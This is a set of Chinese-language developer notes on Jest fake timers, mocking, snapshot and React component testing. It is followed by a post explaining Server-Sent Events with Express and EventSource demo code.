它实际上决定了 Jest 是用哪一种定时器“模拟引擎”，**legacy timers（老版）** vs **modern timers（现代版）**。

Jest 早期（v26 以前）自带的假定时器实现叫 **“Legacy Fake Timers”**，是 Jest 团队自己写的一套 **手搓版时间模拟系统**。

但后来发现它有几个明显问题：

* 与真实浏览器 / Node 行为不完全一致；
* 对 `Promise`、`queueMicrotask`、`Date.now()` 等支持不好；
* 内部维护复杂（跟 JS 引擎差异大）。

于是 Jest 在 v27 开始引入了新的实现：基于 [`@sinonjs/fake-timers`](https://github.com/sinonjs/fake-timers)，这是业界成熟、精准的时间模拟库。

因此就有了两种模式：

| 模式 | 关键字                                         | 实现方式                    |
| ---- | ---------------------------------------------- | --------------------------- |
| 旧版 | `legacyFakeTimers: true`（或默认旧 Jest 版本） | Jest 自己的实现             |
| 新版 | `legacyFakeTimers: false`                      | 使用 `@sinonjs/fake-timers` |

```js
jest.useFakeTimers({ legacyFakeTimers: false }) // 启用现代版定时器（推荐）
jest.useFakeTimers({ legacyFakeTimers: true })  // 启用旧版（兼容旧项目）
```

**两者的核心区别**

| 对比项                            | legacyFakeTimers（旧）   | modernFakeTimers（新）              |
| --------------------------------- | ------------------------ | ----------------------------------- |
| 实现来源                          | Jest 自研                | @sinonjs/fake-timers                |
| 精度                              | 较低，容易偏差           | 高度还原 Node/浏览器逻辑            |
| 支持微任务（Promise）             | ❌ 不支持，需要手动 flush | ✅ 完整支持                          |
| 支持 `Date`                       | ❌ 手动更新 `Date.now()`  | ✅ 自动更新                          |
| 支持 `performance.now()`          | ❌                        | ✅                                   |
| `jest.advanceTimersByTimeAsync()` | ❌ 无                     | ✅ 有                                |
| `jest.runAllTimersAsync()`        | ❌ 无                     | ✅ 有                                |
| 内部模拟的 API                    | setTimeout, setInterval  | 还包括 setImmediate, queueMicrotask |
| 推荐度                            | 仅限旧项目               | ✅ 推荐默认使用                      |

新版的行为更接近真实环境。它能正确处理以下场景：

**Promise + setTimeout 组合**：

```js
jest.useFakeTimers({ legacyFakeTimers: false })

setTimeout(async () => {
  await Promise.resolve()
  console.log('OK')
}, 1000)

await jest.advanceTimersByTimeAsync(1000)
// 输出 OK
```

在旧版中，这段代码可能永远不会输出 `"OK"`，因为它不处理 Promise 微任务。

**自动同步 Date.now() 与 performance.now()**

在旧版中：

```js
jest.advanceTimersByTime(1000)
console.log(Date.now()) // 仍是原来的时间
```

新版：

```js
jest.advanceTimersByTime(1000)
console.log(Date.now()) // 向前跳了 1000ms
```

**支持更多 Node 环境定时函数**

比如：

```js
process.nextTick()
setImmediate()
queueMicrotask()
```

新版都能正确控制它们的执行顺序。

**实测例子对比**

```js
function delayedPromise() {
  return new Promise((resolve) => {
    setTimeout(async () => {
      await Promise.resolve()
      resolve('done')
    }, 1000)
  })
}
```

测试：

```js
test('delayedPromise', async () => {
  jest.useFakeTimers({ legacyFakeTimers: false }) // ← 新版

  const p = delayedPromise()
  await jest.advanceTimersByTimeAsync(1000)
  await expect(p).resolves.toBe('done')
})
```

* **新版可通过**
* **旧版则挂掉**（因为 async/await 的 Promise 从未被执行）

### `async/await` 的本质

**顺便复习：`async/await` 的本质**

`async/await` 是基于 **Promise** 的语法糖。

举个 🌰 子

```js
async function foo() {
  const data = await fetchData()
  console.log(data)
  return 123
}
```

等价于（近似转换为 Promise 写法）：

```js
function foo() {
  return fetchData()
    .then((data) => {
      console.log(data)
      return 123
    })
}
```

所以：

* `await` 会暂停函数执行，等到 Promise 解决；
* `async` 函数总是返回一个 Promise；
* 任何抛出的错误会变成 Promise 的 reject。

**更细一点说**：

`await` 会把 **后续代码（await 之后的部分）包装成 Promise.then 的回调**，放到 **微任务（microtask queue）** 里，在当前宏任务执行完毕后马上执行。

举个事件循环顺序例子：

```js
setTimeout(() => console.log('timeout'), 0)

async function test() {
  console.log('before await')
  await null
  console.log('after await')
}
test()

console.log('sync end')
```

输出顺序是：

```js
before await
sync end
after await
timeout
```

解释：

1. 执行 async 函数，打印 `before await`
2. `await null` → 进入微任务队列
3. 打印 `sync end`
4. 执行微任务：打印 `after await`
5. 最后执行宏任务：`timeout`

**综合示例（FakeTimer + Promise + async/await）**

```js
function doSomethingLater(callback) {
  setTimeout(async () => {
    const value = await Promise.resolve('done')
    callback(value)
  }, 1000)
}

test('doSomethingLater works correctly', async () => {
  jest.useFakeTimers()
  const callback = jest.fn()

  doSomethingLater(callback)

  // 推进 1 秒
  jest.advanceTimersByTime(1000)

  // 等待微任务执行（await 内部的 Promise）
  await Promise.resolve()

  expect(callback).toHaveBeenCalledWith('done')
})
```

* 没有真实等待
* async/await 逻辑得到完整测试
* callback 被正确触发

`setTimeout + Promise`

为什么这个测试会失败？

```js
sleep(1000).then(() => callback())

jest.runAllTimers()

expect(callback).toHaveBeenCalledTimes(1)
```

原因是：`setTimeout` 的 `resolve()` 触发后，`then(callback)` 是“微任务（Promise Job）”，不会立刻执行。

Fake Timers 的执行顺序：

```js
1. runAllTimers → 立即执行 setTimeout 内部的 resolve
2. resolve 会把 then(...) 推入 Promise Job Queue
3. 当前 Message 未结束 → Promise Job Queue 不会立刻执行
4. 测试继续跑 → callback 还没执行
```

因此断言失败。

解决办法就是**必须等待 Promise Job Queue**：

```js
jest.runAllTimers()
await promise  // ← 关键：等微任务执行
expect(callback).toHaveBeenCalled()
```

一个完整 Event Loop 顺序如下：

```js
同步代码（当前 Message）
↓
Promise Job Queue（微任务）
↓
下一条 Message（如 setTimeout 回调）
```

因此：

* setTimeout → 放进 **Message Queue**
* Promise.then → 放进 **微任务 Job Queue**

Fake Timers 只会处理 **Message Queue 的 setTimeout 回调**，不会自动处理 Promise Job！

所以你的测试必须手动：

```js
jest.runAllTimers()
await promise
```

### 总结

**Fake Timer 的本质：替换所有时间 API，把定时任务存入 Jest 自己维护的定时器队列，让你可以手动推进时间，而不是等待真实时间。**

**Event Loop 本质：同步 → 微任务（Promise）→ 定时器回调。Jest Fake Timer 只能处理“定时器回调”，不会自动处理“微任务”，因此 runAllTimers 后必须 await Promise。**

```js
同步代码
│
├─ setTimeout(callback) → Jest Timer Queue
│
└─ Promise.then(cb) → Job Queue（微任务）

调用 runAllTimers()
│
└─ 执行所有 Timer → 触发 resolve → then(cb) 加入微任务

必须 await Promise 来清空 Job Queue
```

## logger Mock（减少噪声）

测试中 `console.log` 很烦，可以 mock 掉：

**方法** 1：手动 spy

比如在 `tests/jest-setup.ts` 里手动 Mock `console.xxx`

```js
jest.spyOn(console, 'log').mockReturnValue();
jest.spyOn(console, 'error').mockReturnValue();
```

**方法** 2：[jest-mock-console](https://www.npmjs.com/package/jest-mock-console)（更简单），在 `tests/jest-setup.ts` 里引入并使用它：

```js
import mockConsole from 'jest-mock-console';
mockConsole();
```

## 快照测试

[React + TS + Jest 环境搭建](/react/td0cd1on/)

在前端开发中，我们常用 **Jest + React Testing Library** 做交互和功能测试，比如：

* 按钮点击是否触发事件
* 输入框是否更新状态
* 弹窗是否按条件显示

这些测试保证了 **功能正确性**，但是 **组件不仅仅有功能，还有 HTML 结构（DOM）**。

问题来了：如何确保组件渲染的 HTML 没有被意外修改？

最直观的方法是：

1. 打印组件的 HTML 输出
2. 保存到一个文本文件（如 `xxx.txt`）
3. 下次测试时，把当前 HTML 和上次保存的文件对比

如果不同，就说明组件的结构发生了变化

这就是 **快照测试的基本理念**：**先保存一份“快照”，下次测试自动对比，发现变化。**

**Jest 快照测试的优势**

Jest 提供了对上面手动对比方法的自动化支持：

**自动生成快照文件**

* 输出内容会被写入 `.snap` 文件
* 例如：`Title.test.tsx.snap`

**格式化输出，易读**

* 快照文件经过格式化，方便开发者阅读

**差异高亮显示**

* 当组件结构改变时，Jest 会用高亮展示差异部分
* 让你快速判断是**BUG**还是**预期变化**

**快照测试流程**

以 React 组件为例：

**首次运行测试**

* Jest 渲染组件
* 将组件的 DOM 输出记录到快照文件 `.snap`

**再次运行测试**

* Jest 渲染组件

* 将当前 DOM 输出和 `.snap` 文件对比

* 结果有两种情况：

1. **快照一致**：组件渲染没有变化

2. **快照不一致**：

   * **代码有 Bug**：意外改动破坏了组件结构

   * **实现了新功能**：DOM 结构变化，需要更新快照

```bash
jest --updateSnapshot
```

**快照测试的缺陷与优化策略**

大快照问题（避免大快照）

组件结构复杂时，快照会把整个 DOM 树都记录下来，包括嵌套的第三方组件（如 Ant Design 的 `Row`、`Col`），结果是生成的快照文件非常庞大且难读

**解决方法**：只对关键部分生成快照，而不是整个组件 DOM

```js
const { getByText } = render(<Title type="large" title="大字" />);
const content = getByText('大字');
expect(content).toMatchSnapshot();
```

**结果快照**：

```js
exports[`Title 可以正确渲染大字 1`] = `<div>大字</div>`;
```

优点：简洁、易读

注意：快照不能太小，否则不如直接用 `expect(content.children).toEqual('大字')`

**假错误问题**

**问题描述**：

* 快照测试对比的是输出结果，一旦输出发生任何变化（即使只是文案修改），测试就会失败
* 这种错误称为 **“假错误”**

**示例**：

* 文案从 `"第一个"` 改为 `"第壹个"`
* 测试立即报错，但功能并无问题

**后果**：

* 在大快照中，一点改动可能导致整片快照报错
* 更新快照成本低，开发者容易直接用 `--updateSnapshot` 忽略问题
* 最终导致 **快照测试不被信任**

**快照的扩展用途**

快照不仅能记录 DOM，还可以记录 **任意可序列化的数据**：

* JSON 对象
* 文本
* XML 等

**示例**：接口返回数据快照

```js
const result = await getUserById('1');
expect(result).toMatchSnapshot();
```

**适用场景**：

* 老项目没有测试，想快速引入验证
* 大块数据或复杂结构结果的对比

## 快照测试相关 API

快照测试主要由 **Jest** 和 **React Testing Library (RTL)** 协作完成。

* **Jest**：负责断言、快照对比
* **RTL**：负责渲染组件并提供查询 DOM 的方法

### `render`

`render` 是 RTL 提供的核心 API，用来渲染一个 React 组件到虚拟 DOM（jsdom）中。

它返回一个对象，里面包含多种工具函数，用于查询组件 DOM 和操作。

```js
import { render } from '@testing-library/react';
import Title from './Title';

const { getByText, baseElement } = render(<Title title="大字" type="large" />);
```

**返回对象常用属性和方法**

| 属性/方法     | 用途                                            | 示例                                 |
| ------------- | ----------------------------------------------- | ------------------------------------ |
| `getByText`   | 根据文本内容查找元素（找不到会报错）            | `getByText('第一个')`                |
| `queryByText` | 根据文本查找元素（找不到返回 `null`，不会报错） | `queryByText('不存在')`              |
| `findByText`  | 异步查找文本（返回 Promise）                    | `await findByText('第壹个')`         |
| `getByRole`   | 根据 ARIA 角色查找元素                          | `getByRole('button')`                |
| `getByTestId` | 根据 `data-testid` 查找元素                     | `getByTestId('my-button')`           |
| `container`   | 返回渲染组件的根 DOM 节点                       | `container.querySelector('div')`     |
| `baseElement` | 返回整个文档根元素（一般是 `<body>`）           | `baseElement.innerHTML`              |
| `unmount`     | 卸载组件，清理 DOM                              | `unmount()`                          |
| `rerender`    | 重新渲染同一个组件或新组件                      | `rerender(<Title title="第二个" />)` |

### `getByText` 与 `content`

```js
const { getByText } = render(<Title title="大字" type="large" />);
const content = getByText('大字');
```

`getByText('大字')`：查找渲染后的 DOM 中 **文本内容为 "大字" 的元素**

`content` 就是这个 DOM 元素，例如：

```html
<div>大字</div>
```

然后你可以对 content 做断言：

```js
expect(content).toBeInTheDocument(); // 元素存在
expect(content).toHaveTextContent('大字'); // 文本正确
```

### `toMatchSnapshot`

Jest 的方法，用于将某个值（字符串、对象、DOM 节点等）与之前保存的 **快照文件** 比对。

```js
expect(content).toMatchSnapshot();
```

第一次运行：会生成 .snap 文件，并记录 DOM 或值

后续运行：

如果一致：测试通过

如果不一致：

说明组件 DOM 或值改变

可选择：

调查原因（可能是 Bug）

更新快照：`jest --updateSnapshot`

### `baseElement`

`render` 返回对象的一个属性，指向 **整个渲染的根节点**（通常是 `<body>`）

可以直接查看整个渲染的 HTML：

```js
const { baseElement } = render(<Title title="大字" />);
console.log(baseElement.innerHTML);
```

### DOM 断言常用 API

使用前，需要安装并在 Jest 中引入 `@testing-library/jest-dom`：

```js
// jest.setup.ts
import '@testing-library/jest-dom';
```

#### 元素存在相关

| 方法                      | 描述                   | 示例                                                     |
| ------------------------- | ---------------------- | -------------------------------------------------------- |
| `toBeInTheDocument()`     | 判断元素是否存在于 DOM | `expect(getByText('大字')).toBeInTheDocument();`         |
| `not.toBeInTheDocument()` | 判断元素不存在         | `expect(queryByText('不存在')).not.toBeInTheDocument();` |

#### 元素可见性

| 方法                | 描述                                         | 示例                                             |
| ------------------- | -------------------------------------------- | ------------------------------------------------ |
| `toBeVisible()`     | 元素是否可见（CSS 不隐藏、display/block 等） | `expect(getByText('按钮')).toBeVisible();`       |
| `not.toBeVisible()` | 元素不可见                                   | `expect(queryByText('隐藏')).not.toBeVisible();` |

#### 文本内容相关

| 方法                      | 描述               | 示例                                                       |
| ------------------------- | ------------------ | ---------------------------------------------------------- |
| `toHaveTextContent()`     | 判断元素的文本内容 | `expect(getByText('大字')).toHaveTextContent('大字');`     |
| `not.toHaveTextContent()` | 文本不匹配         | `expect(getByText('大字')).not.toHaveTextContent('小字');` |

#### 属性与样式

| 方法                            | 描述                               | 示例                                                      |
| ------------------------------- | ---------------------------------- | --------------------------------------------------------- |
| `toHaveAttribute(attr, value?)` | 判断元素是否有指定属性，value 可选 | `expect(button).toHaveAttribute('type', 'submit');`       |
| `toHaveClass(className)`        | 判断元素包含指定 class             | `expect(div).toHaveClass('active');`                      |
| `toHaveStyle(cssString)`        | 判断元素样式                       | `expect(div).toHaveStyle('color: red; font-size: 16px');` |

#### 表单控件状态

| 方法                 | 描述                    | 示例                                  |
| -------------------- | ----------------------- | ------------------------------------- |
| `toBeDisabled()`     | 元素是否禁用            | `expect(button).toBeDisabled();`      |
| `toBeEnabled()`      | 元素是否可用            | `expect(button).toBeEnabled();`       |
| `toBeChecked()`      | checkbox/radio 是否选中 | `expect(checkbox).toBeChecked();`     |
| `not.toBeChecked()`  | 未选中                  | `expect(checkbox).not.toBeChecked();` |
| `toHaveValue(value)` | 输入框值是否正确        | `expect(input).toHaveValue('hello');` |

#### DOM 层级和关系

| 方法                        | 描述                   | 示例                                          |
| --------------------------- | ---------------------- | --------------------------------------------- |
| `toContainElement(element)` | 判断元素包含另一个元素 | `expect(container).toContainElement(button);` |
| `toHaveFocus()`             | 元素是否获取焦点       | `expect(input).toHaveFocus();`                |

## Mock 的三种方式

写测试时，你经常会碰到一些 **不方便、不能、或不应该** 执行的代码，比如：

* 需要等待 3 秒的 `setTimeout`
* 会发真实 AJAX 请求的 `fetch`
* 会操作真正的数据库
* 会随机的 `Math.random()`
* 会产生不可控输出的 `Date.now()`
* 第三方模块不受你控制

**Mock 就是为了“假装执行”，但不真正运行真实逻辑，让测试可控、快速、稳定、可靠。**

### Mock Function（函数 Mock）

你有一个函数内部依赖另一个函数，但你不想执行“真实逻辑”，只想看它有没有被调用。

```js
function sendMessage(api, text) {
  return api(text);
}

test('sendMessage 会调用 api', () => {
  const mockApi = jest.fn().mockReturnValue('ok');

  const res = sendMessage(mockApi, '你好');

  expect(mockApi).toHaveBeenCalledTimes(1);
  expect(mockApi).toHaveBeenCalledWith('你好');
  expect(res).toBe('ok');
});
```

因为你不想让 sendMessage 真的“发送消息”，只想确认 “函数有没有叫另一函数干活”。

### Mock Module（模块 Mock）

**为什么要 Mock 模块？**

* 不想发真实 HTTP 请求
* 不想加载真正的文件系统
* 想模拟一个第三方库的返回
* 想替换模块里的某个函数

你测试的通常只是“业务代码”，第三方模块应该被 mock。

**Mock 整个模块**：

```js
jest.mock('./utils');
```

**Mock 模块中特定函数：**

```js
import { getUser } from './api';

jest.mock('./api', () => ({
  getUser: jest.fn()
}));
```

**举例**

真实模块（api.ts）：

```js
export const fetchUser = () => {
  return fetch('/user').then(res => res.json());
};
```

你的业务逻辑（logic.ts）：

```js
import { fetchUser } from './api';

export async function load() {
  return fetchUser();
}
```

测试（logic.test.ts）：

```js
import { load } from './logic';
import { fetchUser } from './api';

jest.mock('./api'); // 自动把 fetchUser 变成 jest.fn()

test('load 调用了 fetchUser', async () => {
  fetchUser.mockResolvedValue({ name: '张三' });

  const res = await load();

  expect(fetchUser).toHaveBeenCalled();
  expect(res).toEqual({ name: '张三' });
});
```

为什么要 Mock 模块？

因为你不想让测试真的访问 `/user`。

### Mock Timer（定时器 Mock）

...

## 组件测试

组件测试（Component Testing）是前端测试中最常见的测试方式，主要用于验证一个组件 **是否能按预期渲染 + 交互 + 输出结果**。

它通常使用：

* **Jest**（断言、Mock)
* **React Testing Library (RTL)**（让你像用户一样测试）

组件测试要验证的核心事情只有三件：

1. **组件能正确渲染**
2. **组件能正确展示内容（DOM）**
3. **组件能正确响应交互和触发逻辑**

### 渲染测试（Render Test）

测试组件能否 **正常创建并插入 DOM**。

```js
render(<Button>确定</Button>);
```

常用断言：

```js
expect(screen.getByText('确定')).toBeInTheDocument();
```

用来验证基本渲染，通常是所有组件测试的起点

### DOM 查询 / 展示测试（DOM Query Test）

测试组件渲染出来的 **文字、属性、样式、类名** 是否正确。

常用方法：

| 常用查询 API            | 含义                                |
| ----------------------- | ----------------------------------- |
| getByText               | 通过文本查 DOM                      |
| getByRole               | 更语义化，通过 role 查按钮、输入框… |
| getByTestId             | 测试专用，不推荐滥用                |
| container / baseElement | 整个 DOM 根                         |

例子：

```js
expect(screen.getByRole('button')).toHaveClass('primary');
```

用来验证内容是否正确呈现，适用于文本、类名、结构等验证

### 行为 / 交互测试（Interaction Test）

用户行为模拟：Click、Input、Change…

```js
fireEvent.click(screen.getByRole('button'));
expect(onClick).toHaveBeenCalled();
```

或更推荐：

```js
await userEvent.click(screen.getByRole('button'));
```

用来验证事件回调

验证状态变化和操作流程

UI 组件库测试的核心部分

### 状态与逻辑测试（State / Logic Test）

组件内部逻辑是否正确，例如：

* state 更新
* props 改变
* 异步 effect
* 回调函数
* API 调用

### 快照测试（Snapshot）属于 DOM 测试的子集

```js
expect(container).toMatchSnapshot();
```

用途：

* 检测 DOM 是否被无意改变
* 大结构对比简单好用

### 总结

**组件测试 = DOM（渲染 + 查询 + 快照） + 交互（事件） + 逻辑（状态）**

或者说

**组件测试测两部分：看得见（DOM） + 看不见（逻辑）**

## 一个完整的组件测试模板

```js
describe("Button", () => {
  it("渲染正常", () => {
    render(<Button>确定</Button>);
    expect(screen.getByText("确定")).toBeInTheDocument();
  });

  it("显示正确的类名", () => {
    render(<Button type="primary">OK</Button>);
    expect(screen.getByRole("button")).toHaveClass("primary");
  });

  it("点击能触发事件", async () => {
    const onClick = jest.fn();
    render(<Button onClick={onClick}>测试</Button>);

    await userEvent.click(screen.getByRole("button"));
    expect(onClick).toHaveBeenCalledTimes(1);
  });

  it("DOM 结构保持不变（快照）", () => {
    const { container } = render(<Button>Snapshot</Button>);
    expect(container).toMatchSnapshot();
  });
});
```

---

---
url: /posts/0yx26ttf/index.md
---
## SSE

前端的 **SSE（Server-Sent Events）** 是一种 **服务器主动向浏览器推送数据** 的技术。它建立在 **HTTP 协议** 之上，可以让服务端持续不断地向客户端发送消息，而不需要客户端频繁轮询。

> **SSE = “服务端单向推送” 技术**
>
> 客户端发起一次请求后，服务器可以持续发送事件数据，客户端实时接收更新。

SSE 的核心在于使用一种特殊的 HTTP 响应类型：

```http
Content-Type: text/event-stream
```

通信流程：

1. 浏览器通过 `EventSource` 对象发起一个普通的 HTTP 请求；
2. 服务端保持这个连接 **不断开**；
3. 服务器使用特定格式持续输出数据；
4. 浏览器实时接收并触发对应的事件。

**前端代码示例**

```js
// 创建一个 SSE 连接
const source = new EventSource('/events');

// 监听默认消息
source.onmessage = (event) => {
  console.log('收到消息：', event.data);
};

// 监听自定义事件类型
source.addEventListener('update', (event) => {
  console.log('收到 update 事件：', event.data);
});

// 连接打开
source.onopen = () => console.log('连接已打开');

// 连接出错
source.onerror = (err) => console.error('连接出错', err);
```

**服务端示例（Node.js / Express）**

```js
import express from 'express';
const app = express();

app.get('/events', (req, res) => {
  // 设置响应头
  res.setHeader('Content-Type', 'text/event-stream');
  res.setHeader('Cache-Control', 'no-cache');
  res.setHeader('Connection', 'keep-alive');

  // 每隔 2 秒发送一次消息
  const timer = setInterval(() => {
    res.write(`data: ${new Date().toLocaleTimeString()}\n\n`);
  }, 2000);

  // 客户端断开时清理
  req.on('close', () => {
    clearInterval(timer);
    res.end();
  });
});

app.listen(3000);
console.log('SSE server running on http://localhost:3000');
```

**数据格式规范**

服务器发送的每条消息都是 **纯文本**，按以下格式：

```http
data: hello
data: world
event: customEvent
id: 123
retry: 3000
```

* 每条消息以 `\n\n` 结尾；
* `data:` 是消息主体；
* `event:` 指定事件类型；
* `id:` 可用于断线重连时继续接收；
* `retry:` 表示客户端自动重连时间（毫秒）。

**与 WebSocket 对比**

| 对比项     | **SSE**                    | **WebSocket**                  |
| ---------- | -------------------------- | ------------------------------ |
| 通信方向   | 单向（服务端 → 客户端）    | 双向                           |
| 协议       | 基于 HTTP                  | 独立的 ws:// 协议              |
| 重连机制   | 内置自动重连               | 需要手动实现                   |
| 数据格式   | 纯文本（UTF-8）            | 任意（文本 / 二进制）          |
| 浏览器支持 | 普遍支持（IE 不支持）      | 普遍支持                       |
| 适用场景   | 实时通知、进度更新、日志流 | 聊天、游戏、股票行情等实时交互 |

**适用场景举例**

* 网站通知中心（如“你有新消息”）
* 长时间任务进度实时推送（构建日志、视频转码状态）
* 实时新闻、天气、数据看板
* 日志监控控制台（实时输出）

## 实时通信技术

| 技术                         | 连接方式                               | 实时性             | 服务端压力               | 适用场景                 |
| ---------------------------- | -------------------------------------- | ------------------ | ------------------------ | ------------------------ |
| **短轮询 (Polling)**         | 客户端每隔几秒发请求                   | 较差（取决于间隔） | 🚨 高（每次都新建 HTTP）   | 简单通知、低频刷新       |
| **长轮询 (Long Polling)**    | 客户端请求保持挂起，服务端有数据再返回 | 中等               | ⚠️ 中（连接常被创建销毁） | 聊天、通知（早期）       |
| **SSE (Server-Sent Events)** | 服务端持续推送，客户端被动接收         | ✅ 好               | ✅ 低（复用 HTTP）         | 实时日志、事件流、轻聊天 |
| **WebSocket**                | 建立独立的双向 TCP 连接                  | 🚀 极好             | ⚠️ 较高（连接常驻）       | 聊天、游戏、协作应用     |

**聊天软件的选型**

| 聊天规模                          | 常用技术                                                     |
| --------------------------------- | ------------------------------------------------------------ |
| 小型系统（几十或几百用户）        | WebSocket（简单好用）                                        |
| 中型系统（上万连接）              | WebSocket + 连接网关（如 Nginx + WS 反向代理）               |
| 大型系统（百万+连接）             | **混合架构**：WebSocket + SSE + 消息队列（Kafka、Redis、MQTT 等） |
| 超大规模（微信、Telegram、Slack） | 自研协议（长连接 + 二进制压缩 + 分布式路由）                 |

SSE 是 **轻量推送** 技术，它的优势主要在于：

* **基于 HTTP，穿透性好**

走 80/443 端口，不会被公司防火墙拦截；

* **自动重连、断点续传**

断线后浏览器自动重连，带上 `Last-Event-ID` 继续接收未读消息；

* **天然节省资源**

无需心跳包（WebSocket 需要维持心跳），
每个连接占用的服务器内存更少；

* **单向推送足够聊天展示**

实际上，很多聊天软件的数据流方向是：

```js
发送消息 -> HTTP POST
接收消息 -> SSE 推送
```

即 “**发送用 HTTP，请求是一次性的；接收用 SSE，保持实时更新**”。

这样比起 WebSocket 双向连接，服务器压力低一大截！

## 笔记

SSE 简单理解就是一个单向的 websocket ，可以让服务器主动给客户端发消息。

基于 http/https 协议，占用的服务器资源远小于 websocket，服务端的开发难度也低于 websocket

只能服务端给客户端发信息

适用于实时通讯中的 **服务端只需要给客户端发消息** 的场景

定义一个 SSE 服务很简单，就和定义一个普通接口一样，开启一个 http 服务，定义一个 get 请求，设置 `content-type` 为 `text/event-stream; charset = utf-8`，这一步很重要，每次往响应中写入一个数据就会向前端发一个信息，调用 end 结束响应就会断开，但是如果这样断开，客户端会主动重连

::: details **DEMO**

```js
import express from 'express';

const app = express();
const PORT = 3000;

// 允许静态文件访问（供前端页面使用）
app.use(express.static('.'));

app.get('/sse', (req, res) => {
  console.log('📡 收到客户端连接请求');

  // 设置响应头（SSE 关键点）
  res.setHeader('Content-Type', 'text/event-stream; charset=utf-8');
  res.setHeader('Cache-Control', 'no-cache');
  res.setHeader('Connection', 'keep-alive');

  // 告知客户端连接已建立
  res.write(`data: 👋 服务器连接成功，开始发送消息...\n\n`);

  let count = 0;
  const message = '你好啊，我是SSE协议，收到请回答！';

  // 每秒发送一次消息
  const timer = setInterval(() => {
    if (count < message.length) {
      const char = message[count++];
      res.write(`data: ${char}\n\n`);
      console.log(`🟢 已发送字符：${char}`);
    } else {
      // 全部发送完毕
      clearInterval(timer);
      console.log('✅ 文字发送完毕，准备断开连接');
      res.write(`data: [服务器] 消息发送完毕，断开连接。\n\n`);
      res.end();
    }
  }, 100);

  // 客户端关闭时清理资源
  req.on('close', () => {
    clearInterval(timer);
    console.log('❌ 客户端已断开连接');
  });
});

app.listen(PORT, () => {
  console.log(`🚀 SSE 服务已启动：http://localhost:${PORT}`);
});
```

```html
<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8" />
  <title>SSE Demo</title>
  <style>
    body {
      font-family: "Segoe UI", sans-serif;
      padding: 20px;
      background: #f0f3f7;
    }
    #log {
      background: #fff;
      border: 1px solid #ddd;
      padding: 10px;
      border-radius: 6px;
      max-width: 600px;
      white-space: pre-wrap;
    }
  </style>
</head>
<body>
  <h1>🌐 SSE 实时通信 Demo</h1>
  <button id="connect">连接服务器</button>
  <button id="disconnect">断开连接</button>
  <div id="log"></div>

  <script>
    const logEl = document.getElementById('log');
    let source = null;

    const log = (msg) => {
      logEl.textContent += msg + '\n';
      console.log(msg);
    };

    document.getElementById('connect').onclick = () => {
      if (source) {
        log('⚠️ 已经连接中');
        return;
      }

      log('🚀 正在连接服务器...');
      source = new EventSource('/sse');

      source.onopen = () => log('✅ 连接已建立');
      source.onmessage = (e) => log('📨 收到消息：' + e.data);
      source.onerror = (e) => {
        log('❌ 出现错误，可能连接已断开');
        source.close();
        source = null;
      };
    };

    document.getElementById('disconnect').onclick = () => {
      if (source) {
        source.close();
        source = null;
        log('🔌 手动断开连接');
      }
    };
  </script>
</body>
</html>
```

:::

### 注意事项

#### 严格遵守 SSE 格式

每条消息必须以 `data:` 开头，结尾用 **两个换行符 `\n\n`**。

可选字段：

* `event:` 自定义事件类型
* `id:` 用于断线重连
* `retry:` 客户端自动重连时间（毫秒）

```http
id: 1
event: message
data: Hello SSE!


```

**原因**：浏览器自带的 `EventSource` 解析 SSE 消息时，如果格式不正确，会导致 **`onmessage`、自定义事件回调无法触发**。

#### 连接关闭策略

**不主动关闭连接** 是标准做法，保持长连接让客户端自动重连。

**特殊情况**：

* 如果服务端调用 `res.end()` 结束响应，**浏览器 EventSource 仍然会尝试自动重连**。
* 因此，即便“消息发送完毕”，客户端仍会重新发起连接。

服务器可以利用 `Last-Event-ID` 让客户端重连后 **继续未接收的消息**。

#### 断线重连

* 浏览器 EventSource 默认在连接意外断开后自动重连。
* `id` 字段可以用来恢复消息连续性。
* 可以通过 `retry:` 指定自动重连间隔：

```http
retry: 5000
```

#### EventSource 实例与重连

一旦 EventSource 对象被关闭（主动 `close()` 或服务端 `end()`），**同一个实例无法再次使用**。

要重新连接，必须 **创建新的 EventSource 实例**：

```js
source = new EventSource('/sse');
```

#### 消息处理

* `onmessage` 只接收符合 SSE 格式的消息。
* 可使用 `addEventListener('自定义事件名', handler)` 监听自定义事件。
* 使用 `id` 字段可以在断线重连后恢复消息。

#### 断开连接

* 主动断开：调用 `source.close()`。
* 被动断开（网络异常、服务端 `end()`）：EventSource 会尝试自动重连。

#### 补充

* SSE 是浏览器原生单向事件流，客户端行为受 EventSource 标准限制。
* **自定义客户端** 可以绕过标准限制，实现自己的格式、重连策略和消息缓存。

#### 标准断开流程

**服务端发送完毕的消息**

* 服务端在消息流里通知客户端“消息发送完毕”，通常是一条特殊标记消息，比如：

```http
data: [SERVER] 本次消息发送完毕\n\n
```

**不要直接调用 `res.end()`**，以免客户端立刻断开，虽然浏览器 EventSource 会自动重连，但这可能不是你想要的效果。

**客户端处理完毕后主动断开**

* 客户端在接收到“完毕”消息后，调用：

```js
source.close();
```

这样保证：

* 消息完整接收
* 不触发 EventSource 的自动重连
* 资源被正确释放

**服务端可以关闭连接**

* 如果客户端先调用 `close()`，服务端可以安全地 `res.end()` 断开连接。
* 这种方式保证了 **客户端主控断开**，而不是服务端强制断开，符合 SSE 的长连接理念。

## 自定义事件

`event:` 指定 **当前消息的事件类型**，只对 **紧跟在它后面的 `data:` 消息有效**。

**覆盖性**：只影响它所在消息，**不会影响后续的消息**。

换句话说，如果你想多条消息都是同一个自定义事件，每条消息都必须写 `event: myevent`。

**默认事件**：没有 `event:` 的消息，客户端通过 `onmessage` 接收。

```http
# 默认事件
data: 这是默认事件消息
data: 可以多行
\n

# 自定义事件 myevent
event: myevent
data: 第一条自定义事件消息
\n

# 下一条消息不写 event，自动恢复默认事件
data: 又是默认事件消息
\n

# 再次发送自定义事件 myevent
event: myevent
data: 第二条自定义事件消息
\n
```

注意：**每条消息的 `event:` 必须写在它前面**。

`event:` 只影响 **紧接着的这一条消息**，不会“持续作用”到后续消息。

```js
const source = new EventSource('/sse');

// 默认事件
source.onmessage = (e) => console.log('默认事件:', e.data);

// 自定义事件
source.addEventListener('myevent', (e) => console.log('自定义事件 myevent:', e.data));
```

**onmessage**：接收没有 `event:` 的消息（默认事件）

**addEventListener('事件名', callback)**：接收指定自定义事件

如果一条消息带了 `event: myevent`，只有 `myevent` 的监听器会被触发。

**数据可以多行**

```http
event: myevent
data: 第一行
data: 第二行
\n
```

浏览器会把多行 `data:` 拼接成一个字符串，换行用 `\n`。

消息结束必须用空行 `\n\n`

**id 字段独立**

`id:` 可以用于断线重连，不影响事件类型。

**标准消息（默认事件）**：

```http
data: Hello World\n\n
```

* 前端用 `EventSource.onmessage` 接收。

